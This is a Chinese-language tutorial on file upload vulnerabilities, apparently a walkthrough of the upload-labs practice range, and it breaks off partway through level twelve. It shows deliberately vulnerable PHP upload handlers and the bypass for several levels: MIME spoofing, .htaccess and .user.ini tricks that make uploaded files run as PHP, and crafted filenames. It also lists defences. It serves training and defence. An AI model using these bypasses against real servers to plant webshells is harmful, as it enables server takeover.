总字符数: 46.48K

代码: 30.81K, 文本: 5.64K

预计阅读时间: 2.64 小时

环境下载地址:

文件上传漏洞介绍

​ 文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过Web访问的目录上传任意文件,包括网站后门文件(WebShell),进而远程控制网站服务器.

文件上传
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php

// 获取当前 PHP 文件名
$SELF_PAGE = substr($_SERVER['PHP_SELF'], strrpos($_SERVER['PHP_SELF'], '/') + 1);

// 相对根目录路径
$PIKA_ROOT_DIR = "../../";
$html = '';

// 文件上传处理函数
function upload_client($key, $save_path) {
// 文件上传错误码与对应错误消息的映射
$arr_errors = array(
1 => '上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值',
2 => '上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3 => '文件只有部分被上传',
4 => '没有文件被上传',
6 => '找不到临时文件夹',
7 => '文件写入失败'
);

// 判断是否存在文件上传错误
if (!isset($_FILES[$key]['error'])) {
$return_data['error'] = '请选择上传文件!';
$return_data['return'] = false;
return $return_data;
}

// 判断文件上传过程中是否发生错误
if ($_FILES[$key]['error'] != 0) {
$return_data['error'] = $arr_errors[$_FILES[$key]['error']];
$return_data['return'] = false;
return $return_data;
}

// 新建保存文件的目录
if (!file_exists($save_path)) {
if (!mkdir($save_path, 0777, true)) {
$return_data['error'] = '上传文件保存目录创建失败,请检查权限!';
$return_data['return'] = false;
return $return_data;
}
}

// 给路径加个斜杠
$save_path = rtrim($save_path, '/') . '/';

// 移动上传的临时文件到指定目录
if (!move_uploaded_file($_FILES[$key]['tmp_name'], $save_path . $_FILES[$key]['name'])) {
$return_data['error'] = '临时文件移动失败,请检查权限!';
$return_data['return'] = false;
return $return_data;
}

// 上传成功,返回存储的路径和新的文件名(不暴露)
$return_data['new_path'] = $save_path . $_FILES[$key]['name'];
$return_data['return'] = true;
return $return_data;
}

// 处理文件上传表单提交
if (isset($_POST['submit'])) {
// 指定在当前目录建立一个目录
$save_path = 'uploads';
// 调用文件上传处理函数
$upload = upload_client('uploadfile', $save_path);
// 根据上传结果生成 HTML 内容
$html .= $upload['return']
? "<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>"
: "<p class='notice'>{$upload['error']}</p>";
}

?>

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
</head>

<body>
<h1>文件上传</h1>

<div>
<!-- 文件上传表单 -->
<form method="post" enctype="multipart/form-data" action="">
<input type="file" name="uploadfile" onchange="checkFileExt(this.value)" /><br />
<input type="submit" name="submit" value="开始上传" />
</form>
<!-- 显示上传结果 -->
<?php echo $html; ?>
</div>
</body>

</html>

文件上传漏洞原理

​ 这种漏洞的本质是违反了数据与代码分离原则,攻击者上传可执行文件(如木马、病毒、恶意脚本或WebShell等),并使其在服务器上执行,最终获取对网站的控制权限.

​ 许多网站和应用系统都提供文件上传功能,但在实现时,开发者未对文件格式进行有效验证,或者仅在前端通过JavaScript进行了后缀检验.

​ 攻击者可以通过上传与网站脚本语言相对应的恶意代码文件(例如jsp、asp、php、aspx等文件)到服务器上,从而访问其中包含的恶意代码,动态解析并执行,对服务器安全造成影响.

​ 相比于其他安全漏洞如SQL注入或XSS,文件上传漏洞的风险更大.如果Web应用程序存在这种漏洞,攻击者上传的文件会被服务器的Web容器解释执行,导致恶意代码执行.

​ 这可能包括上传病毒、木马文件,诱骗用户或管理员下载执行.攻击者还可以上传钓鱼图片或包含脚本的图片,在某些浏览器中被视为脚本执行,用于进行钓鱼和欺诈.甚至,攻击者可以直接上传一个WebShell,完全控制系统或导致系统瘫痪.

文件上传漏洞成因

  • 服务器的错误配置: 不正确的服务器配置可能导致对上传文件的处理存在漏洞,攻击者通过利用配置错误可以绕过安全措施.
  • 开源编码器漏洞: 使用的开源编码器存在漏洞时,攻击者可以利用这些漏洞来上传恶意文件.
  • 本地上传上限制不严格被绕过: 如果服务器对上传文件的大小限制不严格,攻击者可以通过上传大型文件来滥用服务器资源.
  • 服务器端过滤不严格被绕过: 如果服务器对上传文件的类型或内容进行过滤时存在漏洞,攻击者可能通过构造特定的文件绕过过滤机制.

文件上传漏洞危害

  • 上传恶意文件: 攻击者上传包含恶意代码的文件,例如木马、病毒、WebShell等,以执行后续攻击.
  • getshell: 攻击者通过上传包含可执行代码的文件获取对服务器的控制权,进而实现getshell攻击.
  • 控制服务器: 通过上传恶意文件,攻击者可以控制服务器,执行任意代码,修改或删除文件,甚至获取更高的系统权限.
  • 执行任意代码: 成功上传可执行代码的攻击者可能利用这些代码执行各种恶意操作.
  • 横向移动: 攻击者成功获取服务器权限后,可能通过横向移动在网络中进一步扩散,攻击其他系统,形成更大的威胁.

文件上传绕过方式

  1. 改变文件扩展名: 攻击者可以将恶意文件改变为一个合法的文件扩展名,比如将 .php 文件改为 .jpg 文件,然后上传到服务器.服务器通常只会根据文件扩展名来判断文件类型,因此攻击者可以绕过文件类型的检查.
  2. 使用 WebShell: WebShell 是一种常见的工具,攻击者可以使用它来上传恶意文件,因为 WebShell 通常会绕过服务器的文件类型检查.攻击者可以上传恶意代码,然后利用 WebShell 来执行恶意代码,从而获取系统权限.
  3. 绕过文件大小限制: 有时服务器会限制上传文件的大小,攻击者可以绕过这个限制,比如将大文件分割成多个小文件上传,或者使用一些工具来压缩文件大小,例如使用 GZIP.
  4. 绕过文件内容检查: 服务器通常会对上传的文件进行内容检查,以防止上传恶意代码,攻击者可以尝试绕过这个检查.例如,在文件中插入一些无害的代码或注释,以使文件看起来更合法.
  5. 利用漏洞: 某些服务器可能存在漏洞,攻击者可以利用这些漏洞来绕过文件上传检查.例如,一些服务器可能会允许上传文件,然后使用反向代理将文件转发到其他服务器,攻击者可以利用这个漏洞上传恶意文件.

文件上传漏洞防御

系统运行时的防御

  1. 设置文件上传目录为不可执行: 将文件上传目录配置为不可执行,即使攻击者上传了脚本文件,服务器也不会执行它们,从而确保服务器安全.
  2. 判断文件类型: 在判断文件类型时,结合使用 MIME Type、后缀检查等方式.推荐使用白名单方式进行文件类型检查,避免使用黑名单方式.对于图片,可以使用压缩或者调整大小的函数,在处理图片的同时破坏可能包含的 HTML 代码.
  3. 使用随机数改写文件名和路径: 在文件上传时使用随机数改写文件名和路径,增加攻击的成本.攻击者上传的文件将变得无法直接访问,提高系统安全性.
  4. 单独设置文件服务器的域名: 将文件服务器的域名设置为独立的域名,通过同源策略防止一些客户端攻击,如上传包含 JavaScript 的 XSS 利用或上传 crossdomain.xml 文件等问题.
  5. 使用安全设备防御: 部署专业的安全设备,通过检测上传利用行为和恶意文件的上传过程来防御文件上传漏洞.安全设备可以对恶意文件进行检测和拦截,帮助提高系统的安全性.

系统开发阶段的防御

  1. 强化开发人员的安全意识: 开发人员在系统开发阶段应具备较强的安全意识,特别是使用 PHP 语言进行开发.对文件上传漏洞,应在客户端和服务器端对用户上传的文件名和文件路径等进行严格检查.
  2. 客户端检查和服务器端检查: 在客户端进行检查可以阻挡一些基本的试探,服务器端检查最好采用白名单过滤的方式,防止绕过大小写等方式进行攻击.同时对 %00 截断符和 HTTP 包头的 content-type 进行检查.

系统维护阶段的防御

  1. 强化运维人员的安全意识: 运维人员上线后应保持较强的安全意识,使用多个安全检测工具对系统进行定期扫描,及时发现并修复潜在漏洞.
  2. 定期查看系统日志: 定期查看系统日志,尤其是 web 服务器日志,以发现潜在的入侵痕迹.关注第三方插件的更新情况,及时更新版本或修补可能存在的安全漏洞.
  3. 系统自查和软件更新: 对于使用开源代码或框架搭建的网站,定期进行漏洞自查和软件版本更新.上传功能非必选的情况下可以考虑删除,配置服务器目录的执行权限,并合理配置服务器以提高整体安全性.

靶场复现

第一关客户端检测绕过

禁用JS上传成功

第二关MIME检测绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 代码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
// 检查数据包的MIME 如果不是MIME则会返回上传失败
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

解决方法

1
# 将Content-Type: application/octet-stream改为Content-Type: image/png

第三关黑名单绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
// Start
// 此区块的作用是获取后缀
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); //strrchr - 查找指定字符在字符串中的最后一次出现
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
// END
// in_array - 检查数组中是否存在某个值
// 判断文件后缀是否在黑名单内
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

解决方法

第四关.htaccess绕过

.htaccess 是一种配置文件,用于在 Apache 服务器上配置网站的行为.它允许在特定目录中放置一个包含一系列指令的文件,以改变服务器的配置,实现诸如重定向、认证、缓存控制等功能.

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 黑名单
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

解决方法

虽然还是黑名单,但几乎过滤了所有有问题的后缀名,除了.htaccess,于是首先上传一个.htaccess内容如下的文件:

1
2
# SetHandler application/x-httpd-php 是一个用于 Apache 服务器的指令,它告诉服务器如何处理指定文件的内容.具体而言,这个指令将文件的处理程序设置为 PHP 解释器,使得 Apache 将文件中的 PHP 代码解释为动态内容.
SetHandler application/x-httpd-php

这样所有文件都会解析为PHP,然后再上传图片马,就可以解析.

第五关.user.ini绕过

代码分析

通过查看提示和文件源码发现,本pass将.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf以及.htaccess都过滤了,此处不能和pass04一样的技巧进行上传.htaccess文件进行绕过.

解决方法

补充知识:
配置文件 :php.ini
配置文件(php.ini)在 PHP 启动时被读取.对于服务器模块版本的 PHP,仅在 Web服务器启动时读取一次.对于 CGI 和 CLI 版本,每次调用都会读取.

​ PHP 在每个目录下扫描INI文件的机制是从被执行的 PHP 文件所在目录开始一直上升到Web根目录,除了主 php.ini 外.如果 PHP 文件在 web 根目录之外,则只扫描该目录.自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件,但只有CGI/Fastcgi sapi处理这类文件.

​ 两个关键的 INI 指令,user_ini.filenameuser_ini.cache_ttl,用于控制用户 INI 文件的使用.user_ini.filename 设定了 PHP 在每个目录下搜寻的文件名,设置为空字符串则停止搜寻,默认值是 .user.ini.user_ini.cache_ttl 控制重新读取用户 INI 文件的时间间隔,默认为 300 秒(5 分钟).

​ 在 .user.ini 风格的 INI 文件中,只有具有 PHP_INI_PERDIRPHP_INI_USER 模式的 INI 设置可被识别.实际上,除了 PHP_INI_SYSTEM 以外的模式都可以通过 .user.ini 进行设置,而且 .user.ini 是一个能够动态加载的 INI 文件.因此,修改 .user.ini 后无需重启服务器中间件,只需等待 user_ini.cache_ttl 所设置的时间(默认为 300 秒),设置即可被重新加载.

​ 总的来说,.user.ini 实际上是用户可以自定义的 php.ini 文件,可用于自定义 PHP_INI_PERDIRPHP_INI_USER 模式的设置.其中有两个配置可用于制造后门.

1
2
auto_append_file   ; # 指定一个文件,自动包含在要执行的文件前
auto_prepend_file ; # 指定一个文件,自动包含在要执行的文件后

使用方法很简单,直接写在.user.ini中:

1
auto_prepend_file=jiangjiyue.txt

或者

1
auto_append_file=jiangjiyue.txt
  1. 新建一个文件名为.user.ini的文件,并将内容写为:
  • auto_prepend_file=jiangjiyue.txt
  1. .user.ini上传至服务器

  2. 新建一个文件名为jiangjiyue.txt的文件,并将内容写为phpinfo或者webshell

    1
    <?php phpinfo();?>
  3. jiangjiyue.txt上传至服务器

  4. 再访问上传目录下的readme.php,即可将jiangjiyue.txt内的内容脚本正常执行.

第六关大小写绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 以下代码中没有用到strtolower()函数全部转换为小写,所以可以采用大小写绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).strtolower($file_ext);
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

解决方法

大小写绕过jiangjiyue.PhP

第七关空格绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 没有过滤空格
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
// $file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 以下代码是为了看上面代码运行后的结果,方便更好的绕过
<?php
function deldot($s)
{
for ($i = strlen($s) - 1; $i > 0; $i--) {
$c = substr($s, $i, 1);
if ($i == strlen($s) - 1 and $c != '.') {
return $s;
}

if ($c != '.') {
return substr($s, 0, $i + 1);
}
}
}
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = 'jiangjiyue.php .';
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

echo $file_ext;
if (in_array($file_ext, $deny_ext)) {
echo '此文件不允许上传';
}

解決方法

代码中并没有对空格过滤,所以我们可以加空格点来绕过比如jiangjiyue.php .实际中加不加.要看具体环境,因为代码也会过滤掉.

第八关点号绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 代码没有对.过滤,而且移动上传后的文件时,文件名还是用的处理前的文件名
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
// $file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 以下代码是为了看上面代码运行后的结果,方便更好的绕过
<?php
function deldot($s)
{
for ($i = strlen($s) - 1; $i > 0; $i--) {
$c = substr($s, $i, 1);
if ($i == strlen($s) - 1 and $c != '.') {
return $s;
}

if ($c != '.') {
return substr($s, 0, $i + 1);
}
}
}

$deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".htaccess", ".ini");
$file_name = trim('jiangjiyue.php. .');
echo '处理前'.$file_name;
echo "\n";
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = 'jiangjiyue.php. .';
$img_path = './' . $file_name;
echo '处理后'.$img_path;
} else {
$msg = '此文件类型不允许上传!';
}

解决方法

用上方代码分析出来的结果进行绕过,也可以只加一个.

第九关::$DATA绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 没有过滤::$DATA,利用windows特性,可在后缀名中加"::$DATA"绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
// $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

解决方法

文件名为:jiangjiyue.php::$DATA绕过

第十关点空格点绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 以下代码是为了看上面代码运行后的结果,方便更好的绕过
<?php
function deldot($s)
{
for ($i = strlen($s) - 1; $i > 0; $i--) {
$c = substr($s, $i, 1);
if ($i == strlen($s) - 1 and $c != '.') {
return $s;
}

if ($c != '.') {
return substr($s, 0, $i + 1);
}
}
}
$deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".htaccess", ".ini");
$file_name = trim('file.php. .');
$file_name = deldot($file_name); //删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
echo $file_name;
echo "\n";
if (!in_array($file_ext, $deny_ext)) {
echo '成功';
} else {
echo '此文件类型不允许上传!';
}

解决方法

文件名为:jiangjiyue.php. .绕过

第十一关双写绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
// 黑名单
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
// 将后缀名替换为空
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 以下代码是为了看上面代码运行后的结果,方便更好的绕过
<?php

function deldot($s)
{
for ($i = strlen($s) - 1; $i > 0; $i--) {
$c = substr($s, $i, 1);
if ($i == strlen($s) - 1 and $c != '.') {
return $s;
}

if ($c != '.') {
return substr($s, 0, $i + 1);
}
}
}
// 黑名单
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
// $file_name = 'jiangjiyue.php';
$file_name = 'jiangjiyue.pphphp';
// 将后缀名替换为空
$file_name = str_ireplace($deny_ext,"", $file_name);
echo '后缀名:'.$file_name;

解决方法

根据代码分析的结果构造Payload:jiangjiyue.pphphp

第十二关%00截断

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 白名单
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
// 白名单
$ext_arr = array('jpg','png','gif');
// substr ( string $string , int $start [, int $length ] ) : string
// 返回字符串 string 由 start 和 length 参数指定的子字符串.
// strrpos - 计算指定字符串在目标字符串中最后一次出现的位置
// 返回 10
// substr(jiangjiyue.php,10+1)
// file_ext = php
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
